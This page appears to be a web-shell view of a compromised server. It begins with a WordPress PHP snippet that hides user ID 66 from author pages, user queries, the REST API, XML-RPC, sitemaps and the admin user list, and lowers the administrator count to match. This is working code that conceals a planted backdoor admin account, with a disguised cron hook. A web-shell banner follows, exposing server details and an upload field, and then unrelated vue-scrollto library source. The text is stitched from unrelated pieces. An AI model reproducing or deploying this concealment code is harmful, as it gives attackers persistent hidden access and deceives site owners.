add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/vue-scrollto/src/ |
Upload File : |
import BezierEasing from 'bezier-easing'
import easings from './easings'
import _ from './utils'
const abortEvents = [
'mousedown',
'wheel',
'DOMMouseScroll',
'mousewheel',
'keyup',
'touchmove',
]
let defaults = {
container: 'body',
duration: 500,
lazy: true,
easing: 'ease',
offset: 0,
force: true,
cancelable: true,
onStart: false,
onDone: false,
onCancel: false,
x: false,
y: true,
}
export function setDefaults(options) {
defaults = Object.assign({}, defaults, options)
}
export const scroller = () => {
let element // element to scroll to
let container // container to scroll
let duration // duration of the scrolling
let easing // easing to be used when scrolling
let lazy // checks the target position at each step
let offset // offset to be added (subtracted)
let force // force scroll, even if element is visible
let cancelable // indicates if user can cancel the scroll or not.
let onStart // callback when scrolling is started
let onDone // callback when scrolling is done
let onCancel // callback when scrolling is canceled / aborted
let x // scroll on x axis
let y // scroll on y axis
let initialX // initial X of container
let targetX // target X of container
let initialY // initial Y of container
let targetY // target Y of container
let diffX // difference
let diffY // difference
let abort // is scrolling aborted
let cumulativeOffsetContainer
let cumulativeOffsetElement
let abortEv // event that aborted scrolling
let abortFn = e => {
if (!cancelable) return
abortEv = e
abort = true
}
let easingFn
let timeStart // time when scrolling started
let timeElapsed // time elapsed since scrolling started
let progress // progress
function scrollTop(container) {
let scrollTop = container.scrollTop
if (container.tagName.toLowerCase() === 'body') {
// in firefox body.scrollTop always returns 0
// thus if we are trying to get scrollTop on a body tag
// we need to get it from the documentElement
scrollTop = scrollTop || document.documentElement.scrollTop
}
return scrollTop
}
function scrollLeft(container) {
let scrollLeft = container.scrollLeft
if (container.tagName.toLowerCase() === 'body') {
// in firefox body.scrollLeft always returns 0
// thus if we are trying to get scrollLeft on a body tag
// we need to get it from the documentElement
scrollLeft = scrollLeft || document.documentElement.scrollLeft
}
return scrollLeft
}
function recalculateTargets() {
cumulativeOffsetContainer = _.cumulativeOffset(container)
cumulativeOffsetElement = _.cumulativeOffset(element)
if (x) {
targetX =
cumulativeOffsetElement.left - cumulativeOffsetContainer.left + offset
diffX = targetX - initialX
}
if (y) {
targetY =
cumulativeOffsetElement.top - cumulativeOffsetContainer.top + offset
diffY = targetY - initialY
}
}
function step(timestamp) {
if (abort) return done()
if (!timeStart) timeStart = timestamp
// When a site has a lot of media that can be loaded asynchronously,
// the targetY/targetX may end up in the wrong place during scrolling.
// So we will check this at each step
if (!lazy) {
recalculateTargets()
}
timeElapsed = timestamp - timeStart
progress = Math.min(timeElapsed / duration, 1)
progress = easingFn(progress)
topLeft(container, initialY + diffY * progress, initialX + diffX * progress)
timeElapsed < duration ? window.requestAnimationFrame(step) : done()
}
function done() {
if (!abort) topLeft(container, targetY, targetX)
timeStart = false
_.off(container, abortEvents, abortFn)
if (abort && onCancel) onCancel(abortEv, element)
if (!abort && onDone) onDone(element)
}
function topLeft(element, top, left) {
if (y) element.scrollTop = top
if (x) element.scrollLeft = left
if (element.tagName.toLowerCase() === 'body') {
// in firefox body.scrollTop doesn't scroll the page
// thus if we are trying to scrollTop on a body tag
// we need to scroll on the documentElement
if (y) document.documentElement.scrollTop = top
if (x) document.documentElement.scrollLeft = left
}
}
function scrollTo(target, _duration, options = {}) {
if (typeof _duration === 'object') {
options = _duration
} else if (typeof _duration === 'number') {
options.duration = _duration
}
element = _.$(target)
if (!element) {
return console.warn(
'[vue-scrollto warn]: Trying to scroll to an element that is not on the page: ' +
target
)
}
container = _.$(options.container || defaults.container)
duration = options.hasOwnProperty('duration')
? options.duration
: defaults.duration
lazy = options.hasOwnProperty('lazy') ? options.lazy : defaults.lazy
easing = options.easing || defaults.easing
offset = options.hasOwnProperty('offset') ? options.offset : defaults.offset
force = options.hasOwnProperty('force')
? options.force !== false
: defaults.force
cancelable = options.hasOwnProperty('cancelable')
? options.cancelable !== false
: defaults.cancelable
onStart = options.onStart || defaults.onStart
onDone = options.onDone || defaults.onDone
onCancel = options.onCancel || defaults.onCancel
x = options.x === undefined ? defaults.x : options.x
y = options.y === undefined ? defaults.y : options.y
if (typeof offset === 'function') {
offset = offset(element, container)
}
initialX = scrollLeft(container)
initialY = scrollTop(container)
// calculates cumulative offsets and targetX/Y + diffX/Y
recalculateTargets()
abort = false
if (!force) {
// When the container is the default (body) we need to use the viewport
// height, not the entire body height
const containerHeight =
container.tagName.toLowerCase() === 'body'
? document.documentElement.clientHeight || window.innerHeight
: container.offsetHeight
const containerTop = initialY
const containerBottom = containerTop + containerHeight
const elementTop = targetY - offset
const elementBottom = elementTop + element.offsetHeight
if (elementTop >= containerTop && elementBottom <= containerBottom) {
// make sure to call the onDone callback even if there is no need to
// scroll the container. Fixes #111 (ref #118)
if (onDone) onDone(element)
return
}
}
if (onStart) onStart(element)
if (!diffY && !diffX) {
if (onDone) onDone(element)
return
}
if (typeof easing === 'string') {
easing = easings[easing] || easings['ease']
}
easingFn = BezierEasing.apply(BezierEasing, easing)
_.on(container, abortEvents, abortFn, { passive: true })
window.requestAnimationFrame(step)
return () => {
abortEv = null
abort = true
}
}
return scrollTo
}
const _scroller = scroller()
export default _scroller